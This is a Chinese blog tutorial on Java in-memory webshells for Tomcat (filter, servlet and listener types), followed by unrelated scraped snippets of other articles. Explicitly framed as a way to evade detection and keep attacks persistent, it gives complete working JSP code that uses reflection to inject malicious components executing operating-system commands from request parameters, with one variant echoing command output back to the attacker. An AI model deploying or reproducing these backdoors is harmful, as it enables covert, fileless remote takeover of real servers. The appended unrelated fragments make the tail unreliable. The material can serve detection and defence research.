基于Servlet-API型JAVA内存马(filter型、servlet型、listener型)

2023-11-18

前言

常规的木马实际写出落地后容易被检查出来,并且webshell被发现后也就导致我们的行动被发现,很容易造成木马被查杀、利用漏洞被修复,使我们的攻击变得更加艰难,所以内存马的出现与利用无疑是增强了隐蔽性,可以让我们的攻击更加稳定、持久,而从入门写到现在的一句话木马,最终也成为了后门发展的牺牲品。java内存马我觉得算是比较难的一个地方,因为需要get的新名词还是比较多,所以学习这里还是花了比较长的时间。

大的思路

主要就是在组件的加载时候插入内存马,而常听到的filter、servlet、listener这三个名词便是tomcat中处理请求时必须经过的三个点,正是因为必须经过,所以将对应的内存马插入到它们之中,伴随着tomcat的运行而存在、关闭便消失,也就达到了无落地文件内存马的效果,下面先浅浅介绍一下tomcat的结构与处理机制
参考Java安全之基于Tomcat实现内存马

Tomcat

tomcat我想不必多说,它的结构图如下
在这里插入图片描述

在这里插入图片描述

Server:可以理解为一个WEB服务器,作用是在Connector和Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。

Connector:Tomcat有两个典型的Connector,一个在8080端口直接侦听来自browser的http请求,一个在8009端口侦听来自其它WebServer的请求。

接下来是4个容器组件,它们之间属于父子关系,容器从上至下依次是

Engine:最顶层容器组件,其下可以包含多个 Host。实现类为 org.apache.catalina.core.StandardEngine
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。实现类为 org.apache.catalina.core.StandardHost
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。实现类为 org.apache.catalina.core.StandardContext
Wrapper:一个 Wrapper 代表一个 Servlet。实现类为 org.apache.catalina.core.StandardWrapper

Filter内存马

filter内存马的总体思路是创建恶意filter,然后用filterDef对filter进行封装,将filterDef添加到filterDefs跟filterConfigs中,再创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中,每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

环境搭建

idea
tomcat 9.0.56
idea 创建 JavaWeb 项目
idea 配置 JavaWeb 项目的 tomcat
把tomcat下的lib全都引进来,否则断点跳不进去
在这里插入图片描述

实现一个filter测试类进行测试:

package com.naihe;

import javax.servlet.*;
import java.io.IOException;


public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }
}

配置xml:

<filter>
    <filter-name>enfilter</filter-name>
    <filter-class>FilertDemo</filter-class>
</filter>
<filter-mapping>
    <filter-name>enfilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

实现效果
在这里插入图片描述
在这里插入图片描述

断点分析

Filter字面意思就是过滤,这里servlet的过滤机制就是通过Filter,过滤机制有两种实现方法,一是通过注释实现,二是通过 web.xml 配置文件实现,像上面就是用xml配置指定文件实现的,但是实际使用中通过xml去配置基本不可能,但是这里先通过这个代码分析一下tomcat是如何通过web.xml生成的filter对象,整体流程借鉴一下先知大佬的图。

java Filter内存马分析

在这里插入图片描述先对第二部分进行分析,在 ContextConfig#processClass 进行断点调试,这里先获取到类的所有注释,然后遍历获取注释的类型,当注释类型为 Ljavax/servlet/annotation/WebFilter 时,也就是注释实现过滤器,会调用 ContextConfig#processAnnotationWebFilter 方法

在这里插入图片描述到这里得涉及到FilterDefs、FilterConfigs、FilterMaps、FilterConfigs这几个类,所以先提一下

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDefFilter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern,对应着web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

首先我们在filterChain变量这里打上断点
在这里插入图片描述跟进doFilter,会发现ApplicationFilterChain类的filters属性中包含了filter的信息
在这里插入图片描述fragment 是跟 web.xml 配置文件相关联的一个变量,这里会通过 fragment.getFilters().get 尝试获取配置文件里配置的 filter(我们的 filter 是通过注释实现的,所以这里获取不到),filterDef 则为空,isWebXMLfilterDef 会被赋值为 false,且filterDefFilterNameFilterClass 字段都赋值为 FilterDemo
在这里插入图片描述
继续跟进,把 filterMapFilterName 赋值为 FilterDemoURLPattern 赋值为从注释中获取到的值,即 /*
在这里插入图片描述
最后把 filterMapfilterDef 都加到 fragment 里面
在这里插入图片描述

最终会在 ContextConfig#configureContext 方法把 filterMapfilterDef添加到 context

在这里插入图片描述
继续跟进 ApplicationFilterFactory#createFilterChain 方法,这里创建一个 ApplicationFilterChain 类,然后获取到前面提到的 context 变量,再通过 context 变量获取到前面设置的filterMaps,再通过getAttribute获取当前请求的路径等信息

在这里插入图片描述

接着循环遍历 filterMaps ,当 filterMaps 跟当前请求的 dispatcherrequestPath 相吻合则把 filterMaps 对应的 filterConfig 加入到 filterChain

在这里插入图片描述

先提一下几个Context的关系

ServletContextjavax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。 
ApplicationContextorg.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。TomcatContext容器中都会包含一个ApplicationContextStandardContextCatalina主要包括ConnectorContainerStandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina

这里在 StandardWrapperValve#invoke 方法中调用了 ApplicationFilterFactory.createFilterChain 方法获取到存储着相关 filterConfigfilterChain 变量,然后调用了 filterChain.doFilter 方法,也就是 ApplicationFilterChain#doFilter 方法

在这里插入图片描述
filterChain.doFilter 方法调用 internalDoFilter 方法,跟进到 internalDoFilter 方法,这个方法获取到 filters 数组里的 filterConfig,也就是我们前面提到的 this.filters 数组,接着获取 filterConfig 对应的filter,然后调用filterdoFilter方法

在这里插入图片描述

利用代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
    //反射创建servletContext
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    //反射创建applicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //反射创建standardContext
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){


        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("注入初始化");
            }


            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("过滤中。。。");
            }


            @Override
            public void destroy() {
//                Filter.super.destroy();
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中,即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("successfully");
    }
%>

生命周期

Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()doFilter()destroy()三个方法。

启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;
停止服务器时调用destroy()方法,销毁实例。

Servlet内存马

servlet内存马的思路是创建恶意Servlet后用Wrapper对其进行封装,添加封装后的恶意Wrapper到StandardContext的children当中,最后添加ServletMapping将访问的URL和Servlet进行绑定

环境搭建

在上一个环境下小改一下
web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>
    <!--注册Servlet-->
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>testServlet</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>
testServlet
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class testServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("123");
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

断点分析

继续来到 ContextConfig#processClass 方法,下断点后调试启动,同样的先获取类上的所有注释,然后获取注释类型,根据类型进入不同的方法进行处理,这里进入processAnnotationWebServlet方法进行处理

在这里插入图片描述跟进 processAnnotationWebServlet 方法,先从 web.xml 中获取 Servlet 相关的信息,因为我们是通过注释进行配置 Servlet 的,所以这里获取到的 servletDef 为空,然后把从注释获取到的信息赋值给 servletDef
在这里插入图片描述
继续跟进,这里获取到 Servlet 对应的路径并赋值给 urlPatterns ,把 servletDef 添加到 fragment 里面,再把 urlPatternservletName 添加到 fragment 里面
在这里插入图片描述跟进 addServletMapping 方法,这里是把 urlPatternservletName 添加到 servletMappings HashMap 里面
在这里插入图片描述
跳到 ContextConfig#configureContext 方法里,获取所有前面装配进 Web.xmlServlet,然后创建一个 Wrapper ,再判断 Servlet 里对应的 loadOnStartup( web.xml 配置 Servlet 时的一个配置)

<load-on-startup>1</load-on-startup>

判断它是否为空,不为空则把 loadOnStartup 设置进 Wrapper 里,最后设置 Wrapper.nameServletname

在这里插入图片描述

继续跟进,最后把 wrapper 加入到 Child
在这里插入图片描述

webxml 中获取所有前面装配进 WebxmlservletMappings
在这里插入图片描述跟进 addServletMappingDecoded 方法,这里最终添加到的是 StandardContext#servletMappings 属性

在这里插入图片描述
继续跟进到 StandardContext#loadOnStartup 方法,这里获取所有的 child 和 对应的 loadOnStartup ,当 loadOnStartup 大于等于 0 时把 wrapper 加入到 map 当中
在这里插入图片描述继续跟进,把所有的 wrapper 加入到 map 中后从遍历获取 map 中的 wrapper 并调用其 load 方法
在这里插入图片描述
跟进 load 方法,最终进入到 loadServlet 方法,判断 instance 是否为空,不为空则直接返回 instance,为空则实例化这个 wrapper 对应的 servletClass
在这里插入图片描述loadOnStartup 方法中获取 StandardContextchild ,加载我们的恶意wrapper

利用代码

所以构造的思路是提前创建好恶意Wrapper,获取到 StandardContext后把 Wrapper 注入到 StandardContext 中,最后往 StandardContext 中注入 ServletMapping 即可

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%	// 构造恶意的 HttpServlet,使用 POST 方式进行传递命令参数
    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doGet(req, resp);
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i = inputStream.read(bytes)) != -1){
                    resp.getWriter().write(new String(bytes,0,i));
                    resp.getWriter().write("\r\n");
                }
            }
        }
    };
%>

<%	// 获取 StandardContext
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%	// 构造恶意 Wrapper 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(servlet.getClass().getName());
    //wrapper.setServletClass(servlet.getClass().getName());
    wrapper.setServlet(servlet);
%>
 
<%	//往 standardContext 中注入恶意 Wrapper 以及 ServletMapping
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/hello",servlet.getClass().getName());
%>

生命周期

Servlet :Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

装入:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作由init()方法负责执行完成
调用:从第一次到以后的多次访问,都是只调用doGet()doPost()方法
销毁:停止服务器时调用destroy()方法,销毁实例

Listener内存马

Listener型webshell在三者中的优先级最高,所以危害其实是更大的,它的主要思路是创建恶意Listener,将其添加到ApplicationEventListener中去即可。
Listener主要分为以下三个大类:

ServletContext监听
Session监听
Request监听

其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,这里最适合作为Webshell的就是ServletRequestListener,因为每次的请求的数据都能被获取到(getServletRequest()函数就可以拿到本次请求的request对象,我们可以在此加入我们的恶意逻辑 。)

Tomcat下基于Listener的内存Webshell分析

环境搭建

修改web.xml

<listener>
    <listener-class>listener</listener-class>
</listener>

编写一个Servlet,发包

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/listener")
public class Servletlistener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("hello");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

编写一个监听器listener

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;


public class listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
    }
}

断点分析

在起始处断点进行分析
在这里插入图片描述
跟进两步到StandardContext#listenerStart 方法,先获取监听器然后遍历监听器进行实例化

在这里插入图片描述
Listeners从 findApplicationListeners 方法返回,跟进看一下返回的是 applicationListeners 属性,其中就是我们编写的 ServletListener

在这里插入图片描述
遍历并实例化完监听器之后把实例化对象加入到 eventListeners 中, 然后通过 setApplicationEventListeners 方法把 eventListeners 设置到 applicationEventListenersList

在这里插入图片描述跟进一下 setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中
在这里插入图片描述
注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点调试
在这里插入图片描述

跟进到 StandardContext#fireRequestInitEvent 方法,通过 getApplicationEventListeners 方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized 方法
在这里插入图片描述

利用代码

通过获取当前Context对象,进而反射获取ApplicationContext对象,然后通过addListener函数调用我们构造的恶意Listener,实现内存Webshell。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
  Object obj = request.getServletContext();
  java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
  field.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
  //获取ApplicationContext
  field = applicationContext.getClass().getDeclaredField("context");
  field.setAccessible(true);
  StandardContext standardContext = (StandardContext) field.get(applicationContext);
  //获取StandardContext
  ListenerDemo listenerdemo = new ListenerDemo();
  //创建能够执行命令的Listener
  standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
  public class ListenerDemo implements ServletRequestListener {
  public void requestDestroyed(ServletRequestEvent sre) {
    System.out.println("requestDestroyed");
  }
  public void requestInitialized(ServletRequestEvent sre) {
    System.out.println("requestInitialized");
    try{
      String cmd = sre.getServletRequest().getParameter("cmd");
      Runtime.getRuntime().exec(cmd);
    }catch (Exception e ){
      //e.printStackTrace();
    }
  }
}
%>

生命周期

Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。

每次请求创建时调用requestInitialized()。
每次请求销毁时调用requestDestroyed()

Java安全之基于Tomcat实现内存马
java内存马分析集合
JSP Webshell那些事 – 攻击篇(下)
Tomcat 内存马学习(一):Filter型
JAVA内存马的“一生”
参考内存马

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Servlet-API型JAVA内存马(filter型、servlet型、listener型) 的相关文章

  • 不同帐户上的 Spring Boot、JmsListener 和 SQS 队列

    我正在尝试开发一个 Spring Boot 1 5 应用程序 该应用程序需要侦听来自两个不同 AWS 帐户的 SQS 队列 是否可以使用 JmsListener 注解创建监听器 我已检查权限是否正确 我可以使用 getQueueUrl 获取
  • 序列的排列?

    我有具体数量的数字 现在我想以某种方式显示这个序列的所有可能的排列 例如 如果数字数量为3 我想显示 0 0 0 0 0 1 0 0 2 0 1 0 0 1 1 0 1 2 0 2 0 0 2 1 0 2 2 1 0 0 1 0 1 1 0
  • 如何通过 javaconfig 使用 SchedulerFactoryBean.schedulerContextAsMap

    我使用 Spring 4 0 并将项目从 xml 移至 java config 除了访问 Service scheduleService 带注释的类来自QuartzJobBean executeInternal 我必须让它工作的 xml 位
  • Java 枚举与创建位掩码和检查权限的混淆

    我想将此 c 权限模块移植到 java 但是当我无法将数值保存在数据库中然后将其转换为枚举表示形式时 我很困惑如何执行此操作 在 C 中 我创建一个如下所示的枚举 public enum ArticlePermission CanRead
  • org.apache.hadoop.security.AccessControlException:客户端无法通过以下方式进行身份验证:[TOKEN,KERBEROS] 问题

    我正在使用 java 客户端通过 Kerberos 身份验证安全访问 HDFS 我尝试打字klist在服务器上 它显示已经存在的有效票证 我收到的异常是客户端无法通过以下方式进行身份验证 TOKEN KERBEROS 帮助将不胜感激 这是一
  • 如何获取之前的URL?

    我需要调用我的网络应用程序的 URL 例如 如果有一个从 stackoverflow com 到我的网站 foo com 的链接 我需要 Web 应用程序 托管 bean 中的 stackoverflow 链接 感谢所有帮助 谢谢 并不总是
  • 来自 dll 的 Java 调用函数

    我有这个 python 脚本导入zkemkeeperdll 并连接到考勤设备 ZKTeco 这是我正在使用的脚本 from win32com client import Dispatch zk Dispatch zkemkeeper ZKE
  • Java 公历日历更改时区

    我正在尝试设置 HOUR OF DAY 字段并更改 GregorianCalendar 日期对象的时区 GregorianCalendar date new GregorianCalendar TimeZone getTimeZone GM
  • 将 MOXy 设置为 JAXB 提供程序,而在同一包中没有属性文件

    我正在尝试使用 MOXy 作为我的 JAXB 提供程序 以便将内容编组 解组到 XML JSON 中 我创建了 jaxb properties 文件 内容如下 javax xml bind context factory org eclip
  • 在 junit 测试中获取 javax.lang.model.element.Element 类

    我想测试我的实用程序类 ElementUtils 但我不知道如何将类作为元素获取 在 AnnotationProcessors 中 我使用以下代码获取元素 Set
  • 帮助将图像从 Servlet 获取到 JSP 页面 [重复]

    这个问题在这里已经有答案了 我目前必须生成一个显示字符串文本的图像 我需要在 Servlet 上制作此图像 然后以某种方式将图像传递到 JSP 页面 以便它可以显示它 我试图避免保存图像 而是以某种方式将图像流式传输到 JSP 自从我开始寻
  • jdbc mysql loginTimeout 不起作用

    有人可以解释一下为什么下面的程序在 3 秒后超时 因为我将其设置为在 3 秒后超时 12秒 我特意关闭了mysql服务器来测试mysql服务器无法访问的这种场景 import java sql Connection import java
  • 内部类的构造函数引用在运行时失败并出现VerifyError

    我正在使用 lambda 为内部类构造函数创建供应商ctx gt new SpectatorSwitcher ctx IntelliJ建议我将其更改为SpectatorSwitcher new反而 SpectatorSwitcher 是我正
  • 如何对不同的参数类型使用相同的java方法?

    我的问题 我有 2 个已定义的记录 创建对象请求 更新对象请求 必须通过实用方法进行验证 由于这两个对象具有相同的字段 因此可以对这两种类型应用相同的验证方法 现在我只是使用两种方法进行重载 但它很冗长 public record Crea
  • 使用 AsyncTask 传递值

    我一直在努力解决这个问题 但我已经到了不知道该怎么办的地步 我想做的是使用一个类下载文件并将其解析为字符串 然后将该字符串发送到另一个类来解析 JSON 内容 所有部件都可以单独工作 并且我已经单独测试了所有部件 我只是不知道如何将值发送到
  • java.io.Serialized 在 C/C++ 中的等价物是什么?

    C C 的等价物是什么java io Serialized https docs oracle com javase 7 docs api java io Serializable html 有对序列化库的引用 用 C 序列化数据结构 ht
  • 最新的 Hibernate 和 Derby:无法建立 JDBC 连接

    我正在尝试创建一个使用 Hibernate 连接到 Derby 数据库的准系统项目 我正在使用 Hibernate 和 Derby 的最新版本 但我得到的是通用的Unable to make JDBC Connection error 这是
  • Eclipse 启动时崩溃;退出代码=13

    I am trying to work with Eclipse Helios on my x64 machine Im pretty sure now that this problem could occur with any ecli
  • 干净构建 Java 命令行

    我正在使用命令行编译使用 eclipse 编写的项目 如下所示 javac file java 然后运行 java file args here 我将如何运行干净的构建或编译 每当我重新编译时 除非删除所有内容 否则更改不会受到影响 cla
  • Java中super关键字的范围和使用

    为什么无法使用 super 关键字访问父类变量 使用以下代码 输出为 feline cougar c c class Feline public String type f public Feline System out print fe

随机推荐

  • Ubuntu下安装和注册beyond compare 4

    下载 安装 下载安装包网址 Ubuntu上选择Debian安装包 https www scootersoftware com download php sudo dpkg i bcompare 4 4 6 27483 amd64 deb 注
  • 【汽车电子】浅谈车载系统QNX

    目录 1 概述 2 QNX系统介绍 2 1 系统特点 2 2 系统结构 2 3 调度策略 3 QNX内核 4 QNX网络结构 5 QNX网络设备驱动 6 网络设备信息的统计 2 发展历程 3 应用场景 4 相关链接 1 概述 QNX是一种商
  • Stereo-Detection:YOLO v5与双目测距结合,实现目标的识别和定位测距

    简介 Stereo Detection 是一个传统的SGBM深度测距 yolov5目标检测 并部署在Jeston nano的开源教程 它致力于让更多的大四学生毕业 以及让研一学生入门 开源链接 yzfzzz Stereo Detection
  • Visual Studio运行C语言程序(第一个程序)

    以VS2017为例 首先打开VS 新建Visual C 空项目 建议将编写的程序放在一个文件夹里 并以编写程序当天的日期来命名 在Visual C 里选择C 文件 命名为自己容易认出的名称 后缀为 c就行 右击资源管理器的源文件 选择添加
  • 用Python爬取电影数据并可视化分析_python电影数据分析

    文章目录 一 获取数据 1 技术工具 2 爬取目标 3 字段信息 二 数据预处理 1 加载数据 2 异常值处理 3 字段处理 三 数据可视化 四 总结 一 获取数据 1 技术工具 IDE编辑器 vscode 发送请求 requests 解析
  • Spring refresh() 方法详解(启动Spring,bean的创建过程)

    Spring refresh方法详解 一 refresh 方法预览 二 refresh 方法中调用的每个方法 1 this prepareRefresh 激活开启容器 2 this obtainFreshBeanFactory 获取 bea
  • SQL Server 批量插入数据的两种方法

    在SQL Server 中插入一条数据使用Insert语句 但是如果想要批量插入一堆数据的话 循环使用Insert不仅效率低 而且会导致SQL一系统性能问题 下面介绍SQL Server支持的两种批量数据插入方法 Bulk和表值参数 Tab
  • CSAPP学习记录-Course Overview

    这是我开始学习CSAPP的笔记的第一遍 在接下来的内容 我会分享自己在学习CSAPP时的笔记 感受等等 学习资料来自b站 声明 所有内容基于自己的理解 如有错误感谢大家指出 链接 https www bilibili com video B
  • QT中按钮格式QSS代码

    鼠标正常时按钮效果 QPushButton myButton normal 鼠标正常时的效果 color 000000 background color rgb 40 85 20 改变背景色 border style inset 改变边框风
  • Hadoop3.x 之 MapReduce 开发总结(月薪过万)

    Hadoop之 MapReduce开发总结 MapReduce 开发总结 月薪过万 1 输入数据接口 InputFormat 月薪过万 2 逻辑处理接口 Mapper 月薪过万 3 Partitioner 分区 月薪过万 4 Compara
  • 图像分割2021

    cvpr2022总结 CVPR 2022 图像分割论文大盘点 大林兄的博客 CSDN博客 图像分割最新论文 尽管近年来实例分割取得了长足的进步 但如何设计具有实时性的高精度算法仍然是一个挑战 本文提出了一种实时实例分割框架OrienMask
  • [论文精读]BERT

    BERT Pre training of Deep Bidirectional Transformers for Language Understanding Abstract 作者介绍了一种新的语言模型 叫做BERT 是来自transfo
  • 服务器硬盘故障运维,运维人员处理云服务器故障方法总结

    我们团队为Ucloud云计算服务提供专家技术支持 每天都要碰到无数的用户故障 毕竟IAAS涉及比较底层的东西 不管设计的是大客户也好还是小客户 有了问题就必须要解决 也要要是再赶上修复时间紧 奇葩的技术平台 缺少信息和文档 基本上这过程都会
  • 微信小程序之计算器

    参考博客 微信小程序 简易计算器 Huang xianlong的博客 CSDN博客 微信小程序计算器 效果图 代码 calculator wxml
  • python学习小报2--python软件使用的注意事项

    一 命令行基本操作 安装好python之后 可以通过右键windows 选中运行 然后输入cmd进入系统页面 点击确定 进入系统页面 gt gt gt 表示提示符 此时在提示符之后输入python点击回车 即可进入python编程 从图中即
  • 2023年第二届计算与人工智能国际会议(ISCAI 2023)

    会议简介 Brief Introduction 2023年第二届计算与人工智能国际会议 ISCAI 2023 会议时间 2023年10月13 15日 召开地点 中国 上海 大会官网 www iscai org 2023年第二届计算与人工智能
  • 机器学习之基础知识(全)

    目录 1 机器学习概述 1 1 人工智能概述 1 1 1 人工智能使用场景 1 1 2 人工智能小案例 1 2 人工智能发展历程 1 2 1 图灵测试 1 2 2 发展历程 1 2 3 小结 1 3 人工智能主要分支 1 3 1 人工智能
  • RxJS新手入门

    文章目录 1 介绍 2 核心概念 3 基本运作过程 4 RxJS 如何通过运算符过滤资料 5 RxJS 主体物件 Subject 的用法 6 弹珠图 7 如何选择运算符 1 介绍 RxJS 是什么 用一句话类概括就是 RxJS 是用于 Ja
  • Kali Linux没有无线网卡?玩个锤纸~

    Kali Linux没有无线网卡 玩个锤纸 一 USB无限网卡 使用Kali linux 先准备好一个适合Kali系统的USB外置无限网卡 注意内置网卡并不适合渗透测试 Linux系统的指令相对于一般人来说比较晦涩难懂 最好选择免驱动类型
  • 基于Servlet-API型JAVA内存马(filter型、servlet型、listener型)

    前言 常规的木马实际写出落地后容易被检查出来 并且webshell被发现后也就导致我们的行动被发现 很容易造成木马被查杀 利用漏洞被修复 使我们的攻击变得更加艰难 所以内存马的出现与利用无疑是增强了隐蔽性 可以让我们的攻击更加稳定 持久 而